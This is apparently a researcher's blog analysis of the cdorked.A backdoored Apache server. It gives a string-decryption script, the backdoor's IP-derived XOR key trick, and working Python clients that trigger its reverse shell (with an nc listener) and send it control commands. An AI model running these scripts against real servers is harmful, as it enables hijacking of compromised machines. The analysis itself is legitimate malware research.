Analysis of the sample cdorked.A

Published on 2013-05-13 14:00:00.

Unlike chapro.A, cdorked.A is not an Apache module, it’s a custom Apache server! It shares a few tricks with his cousin, but also implements new ones.

The md5 of the analysed sample is 1785109e71a8f6eb6fb1ba7cce7c51e6.

It tries to hide its presence on the infected system with the following techniques:

Encoded strings

To evade detection, most importants strings are stored encrypted inside the binary. Fortunately, the encryption process is a simple xor.

import sys
from itertools import cycle, iziptab = [
    {'size':3, 'offset':0x16B521},
    {'size':18, 'offset':0x16B530},
    {'size':4, 'offset':0x16B543},
    {'size':13, 'offset':0x16B547},
    {'size':6, 'offset':0x16B554},
    {'size':7, 'offset':0x16B55B},
    {'size':5, 'offset':0x16B563},
    {'size':4, 'offset':0x16B568},
    {'size':4, 'offset':0x16B56C},
    {'size':5, 'offset':0x16B570},
    {'size':5, 'offset':0x16B575},
    {'size':20, 'offset':0x16B580},
    {'size':27, 'offset':0x16B5A0},
    {'size':8, 'offset':0x16B5BB},
    {'size':6, 'offset':0x16B5C4},
    {'size':5, 'offset':0x16B5CA},
    {'size':6, 'offset':0x16B5CF},
    {'size':12, 'offset':0x16B5D5},
    {'size':8, 'offset':0x16B5E1},
    {'size':6, 'offset':0x16B5EA},
    {'size':6, 'offset':0x16B5EA},
    {'size':6, 'offset':0x16B5F1},
    {'size':8, 'offset':0x16B5F8},
    {'size':7, 'offset':0x16B601},
    {'size':6, 'offset':0x16B60A},
    {'size':7, 'offset':0x16B611},
    {'size':6, 'offset':0x16B619},
    {'size':6, 'offset':0x16B620},
    {'size':7, 'offset':0x16B627},
    {'size':9, 'offset':0x16B62F},
    {'size':3, 'offset':0x16B639},
    {'size':6, 'offset':0x16B63C},
    {'size':18, 'offset':0x16B650},
    {'size':13, 'offset':0x16B663},
    {'size':44, 'offset':0x16B680},
    {'size':33, 'offset':0x16B6C0},
    {'size':6, 'offset':0x16B6E1},
    {'size':71, 'offset':0x16B700},
    {'size':22, 'offset':0x16B750},
    {'size':17, 'offset':0x16B770},
    {'size':17, 'offset':0x16B790},
    {'size':8, 'offset':0x16B7A1},
    {'size':8, 'offset':0x16B7AA},
    {'size':10, 'offset':0x16B7B3},
    {'size':20, 'offset':0x16B7C0},
    {'size':7, 'offset':0x16B7D5},
    {'size':8, 'offset':0x16B7DD},
    {'size':3, 'offset':0x16B7E6},
    {'size':3, 'offset':0x16B7E9},
    {'size':3, 'offset':0x16B7EC},
    {'size':3, 'offset':0x16B7EF},
    {'size':3, 'offset':0x16B7F2},
    {'size':3, 'offset':0x16B7F5},
    {'size':3, 'offset':0x16B7F8},
    {'size':3, 'offset':0x16B7FB},
    {'size':3, 'offset':0x16B7FE},
    {'size':3, 'offset':0x16B801},
    {'size':3, 'offset':0x16B804},
    {'size':3, 'offset':0x16B807},
    {'size':3, 'offset':0x16B80A},
    {'size':3, 'offset':0x16B80D},
    {'size':3, 'offset':0x16B810},
    {'size':3, 'offset':0x16B813},
    {'size':3, 'offset':0x16B816},
    {'size':3, 'offset':0x16B819},
    {'size':3, 'offset':0x16B81C},
    {'size':6, 'offset':0x16B81F},
    {'size':3, 'offset':0x16B826},
    {'size':3, 'offset':0x16B829},
    {'size':3, 'offset':0x16B82C},
    {'size':3, 'offset':0x16B82F},
    {'size':18, 'offset':0x16B840},
    ]

if len(sys.argv) != 2:
    print('Usage: %s cdorked.A') % sys.argv[0]
    sys.exit()

fd = open(sys.argv[1], 'r')

fd.seek(0x16B460)  # XOR key
key = fd.read(24)

for i, s in enumerate(tab):
    fd.seek(s['offset'])
    data = fd.read(s['size'])
    decrypted = ''.join(chr(ord(c) ^ ord(k)) for c, k in izip(data, cycle(key)))
    print('xx%s: %s') % (i, decrypted)

How to get a shell?

totally_legit

This looks totally legit.

Uri and parameter

want_backdoor

The url is /favicon.iso (and not favicon.ico) and the parameter is “GET_BACK;LHOST;LPORT”, xored with a derivate of the client’s ip, or if specified, the “X-Forwared-For” and “X-Real-IP” headers, and finally hex-encoded.

Xor encryption

creation_of_the_xor_key

The code looks roughly like this:

ip = $client_ip
            key[0] = ( (ip AND 0xFF000000) >> 24 ) + 5
            key[1] = ( (ip AND 0xFF0000  ) >> 16 ) + 33
            key[2] = ( (ip AND 0xFF00    ) >> 8  ) + 55
            key[3] = ( (ip               )       ) + 78

Knowing this fact, we can forge a “0000” key for simplicity’s sake, since xoring a string with zeros outputs the string. Since an ipv4 is 4 bytes, we must set every one to 256, which will overflow and be equals to 0:

ip[0] = 256 - 5
            ip[1] = 256 - 33
            ip[2] = 256 - 55
            ip[3] = 256 - 78

So, your null-xor-key related ip is “251.223.201.178”

xor_with_ip

The shell

Since shell doesn’t fork itself, the HTTP request will hang during the whole shell existence. After its termination, the malware will send a 302 to the client, and serve google.com. This action will appear in Apache’s logs.

#!/usr/bin/python
import urllib2
import subprocess
import os

LHOST = '192.168.56.1'
LPORT = '4444'

RHOST = '192.168.56.101'
RPORT = '80'

param = ('GET_BACK;%s;%s' % (LHOST, LPORT)).encode('hex')
request = 'http://%s:%s/favicon.iso?%s' % (RHOST, RPORT, param)

if os.fork():
    req = urllib2.Request(request)
    req.add_header('X-Real-IP', '251.223.201.178')
    urllib2.urlopen(req)
else:
    subprocess.call(['nc', '-l', LPORT])

Sum up

How to control the malware ?

A large panel of (obfuscated) commands is available:

#!/usr/bin/python
'DU', 'ST', 'T1', 'L1', 'D1', 'L2', 'D2', 'L3', 'D3',
'L4', 'D4', 'L5', 'D5', 'L6', 'D6', 'L7', 'D7', 'L8', 'D8',
'L9', 'D9', 'LA', 'DA'

But unfortunately, I didn’t figured out what they are doing, apart from the fact that some are setters, and others are getters.

Access

The access to the malware’s control is a little bit more obfuscated than the reverse-shell access:

command_url_check

The url must match the following pattern: [.5n.if.*] and be requested with POST method.

Like above, the parameter which serves as command is transmitted hex-encoded, and also xored using the method described above.

secid

The user must have a cookie starting with “SECID=”, and it seems like remainings characters are used as vector for commands parameter.

Answer

etag

The malware responds to the user using etag, by appending its answer to it.

#!/iusr/bin/python
import urllib2
import sys

RHOST = '192.168.56.101'
RPORT = '80'

COMMANDS = ['DU', 'ST', 'T1', 'L1', 'D1', 'L2', 'D2', 'L3', 'D3',
        'L4', 'D4', 'L5', 'D5', 'L6', 'D6', 'L7', 'D7', 'L8', 'D8',
        'L9', 'D9', 'LA', 'DA']

if len(sys.argv) != 2:
    print 'The command is missing'
    sys.exit()

command = sys.argv[1].encode('hex')

if sys.argv[1] not in COMMANDS:
    print 'Invalid command'
    print 'Commands: %s' % COMMANDS
    sys.exit()

url = '_' * 5 + 'n' + '_' + 'i' + 'f'  # url for triggering commands
complete_url = 'http://%(rhost)s:%(rport)s/%(url)s?%(command)s' % \
    {'rhost': RHOST, 'rport': RPORT, 'url': url, 'command': command}

class MyHTTPRedirectHandler(urllib2.HTTPRedirectHandler):
    def http_error_302(self, req, fp, code, msg, headers):
        answer = headers['ETag']
        print answer
        sys.exit()  # don't care about everything else

opener = urllib2.build_opener(MyHTTPRedirectHandler)
opener.addheaders.append(('Cookie', 'SECID='))
opener.addheaders.append(('X-Real-IP', '251.223.201.178'))
response = opener.open(complete_url, data='')

Sum up:

How to be redirected

Some tests are performed to evade detection:

The port must not be 443

Some headers must be presents:

The extension must match:

The referer must not match:

Some things also remains unclear to me for now:

To avoid spamming users, the malware serves a cookie upon successful redirection:

GIDID=6745609876567 ; path=/; expires=Friday, 31-Dec-2030 23:59:59 GMT 

But only the first part of it (“GIDID=6745609876567”) is tested to determine if the user should be redirected or not.

Misc notes

Jvoisin